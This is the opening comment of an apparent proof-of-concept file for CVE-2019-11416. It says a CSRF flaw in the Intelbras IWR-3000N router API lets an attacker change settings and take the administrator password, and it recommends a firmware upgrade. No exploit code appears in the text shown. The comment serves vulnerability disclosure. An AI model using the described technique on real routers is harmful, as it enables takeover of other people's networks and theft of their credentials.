cf975fb28c1d2e7cf032a39f67947202<!--
PoC based on CVE-2019-11416 created by Social Engineering Neo.
Credit: https://1.337.zone/2019/04/08/intelbras-iwr-3000n-1-5-0-csrf-lead-to-router-takeover/
Due to inexistent authorization on router API on authenticated IP addresses, an attacker can use this weak spot to change router configurations and take the current administrator password.
Upgrade to latest firmware version iwr-3000n-1.8.7_0 for 3000n routers to prevent this issue.
